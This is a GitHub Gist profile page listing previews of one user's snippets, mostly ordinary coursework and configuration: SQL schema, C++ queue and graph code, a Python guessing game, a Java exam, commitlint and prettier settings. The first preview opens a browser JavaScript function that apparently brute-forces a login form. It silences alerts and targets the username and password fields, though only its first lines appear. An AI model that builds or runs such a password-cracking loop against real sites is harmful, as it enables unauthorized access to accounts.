Skip to content

Instantly share code, notes, and snippets.

View EmmaG2's full-sized avatar
🎯
Focusing

Emma Granados EmmaG2

🎯
Focusing
  • Competitive programmer
  • MΓ©xico
View GitHub Profile
async function crackearRapido() {
const USUARIO = "NUM_CONTROL";
const TIPO = "a";
window.alert = () => {}; // Matamos los alerts de la pΓ‘gina para que no frenen el bucle
const inputUser = document.getElementsByName('usuario')[0];
const inputPass = document.getElementsByName('contrasena')[0];
const urlDestino = document.acceso.action;
console.log("%c INICIANDO ATAQUE VELOZ...", "color: cyan; font-weight: bold;");
@EmmaG2
EmmaG2 / README.md
Created November 11, 2025 19:54
mysql.sh

MySql Comando de docker

Este comando sirve para levantar el contenedor de docker

CREATE TABLE "Intendentes"(
"id_intendente" INT NOT NULL,
"nombre" VARCHAR(255) NOT NULL,
"curp" VARCHAR(255) NOT NULL
);
ALTER TABLE
"Intendentes" ADD CONSTRAINT "intendentes_id_intendente_primary" PRIMARY KEY("id_intendente");
CREATE UNIQUE INDEX "intendentes_curp_unique" ON
"Intendentes"("curp");
CREATE TABLE "DiasLaborales"(
@EmmaG2
EmmaG2 / cola.h
Last active October 28, 2024 19:20
#define MaxCola 100
class Cola
{
private:
int num_datos;
char vector[MaxCola];
public:
Cola();
@EmmaG2
EmmaG2 / file.py
Last active December 4, 2023 15:56
import random
n_random = random.randint(1, 250)
times = 0
list = []
n = 0
while n != n_random and times < 13:
n = int(input("Ingresa el nΓΊmero: "))
list.append(n)
@EmmaG2
EmmaG2 / Examen.java
Created October 12, 2023 13:42
Examen de fundamentos de programaciΓ³n del dΓ­a 12/10/2023
import java.util.Scanner;
public class Examen {
public static void main(String[] args) {
int t = 3, opc, salary;
String name, workerType;
Scanner sc = new Scanner(System.in);
while (t-->0) {
System.out.println("""
@EmmaG2
EmmaG2 / grafo_lista_adyacencia.cpp
Created September 7, 2023 14:33
Esta es una implementaciΓ³n de grafos con lista de adyacencia en el lenguaje C++
#include <vector>
#include <iostream>
#define vii vector< vector<int> >
using namespace std;
void create_graph(int nodes, vii &graph)
{
for (int i = 0; i < nodes; i++)
@EmmaG2
EmmaG2 / README.md
Created May 14, 2023 01:31
conventional commits config
npm install --save-dev @commitlint/cli @commitlint/config-conventional

commitlint.config.js

module.exports = {
  extends: ['@commitlint/config-conventional']
}
@EmmaG2
EmmaG2 / .prettierrc
Created April 14, 2023 21:41
La configuraciΓ³n de prettier que uso para mis proyectos de javascript, front end y back end.
{
"arrowParens": "always",
"bracketSameLine": false,
"bracketSpacing": true,
"embeddedLanguageFormatting": "auto",
"htmlWhitespaceSensitivity": "css",
"insertPragma": false,
"jsxSingleQuote": true,
"printWidth": 80,
"proseWrap": "preserve",
@EmmaG2
EmmaG2 / cptemplate.cpp
Last active April 13, 2023 17:00
C++ template for competitive programming.
//
// Created by thisismyemm4 on 13/04/23.
//
#include <bits/stdc++.h>
// ─╔╗╔╗────────────────╔═══╗─────╔═══╦═╗╔═╗╔═╗
// β•”β•β•šβ•£β•‘β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β•‘β•”β•β•β•β”€β”€β”€β”€β”€β•‘β•”β•β•—β•‘β•‘β•šβ•β•‘β•‘β•‘β•”β•
// β•šβ•—β•”β•£β•šβ•β•¦β•¦β•β•β•¦β•¦β•β•β•¦β•—β•”β•¦β•—β”€β•”β•£β•šβ•β•β•¦β•—β•”β•¦β•—β•”β•£β•‘β”€β•‘β•‘β•”β•—β•”β•—β• β•β•šβ•¦β•β•β•—
// β”€β•‘β•‘β•‘β•”β•—β• β•£β•β•β•¬β•£β•β•β•£β•šβ•β•‘β•‘β”€β•‘β•‘β•”β•β•β•£β•šβ•β•‘β•šβ•β•‘β•šβ•β•β•‘β•‘β•‘β•‘β•‘β• β•—β•”β•£β•β•β•£
// β”€β•‘β•šβ•£β•‘β•‘β•‘β• β•β•β•‘β• β•β•β•‘β•‘β•‘β•‘β•šβ•β•β•‘β•šβ•β•β•£β•‘β•‘β•‘β•‘β•‘β•‘β•”β•β•—β•‘β•‘β•‘β•‘β•‘β•‘β•‘β•‘β• β•β•β•‘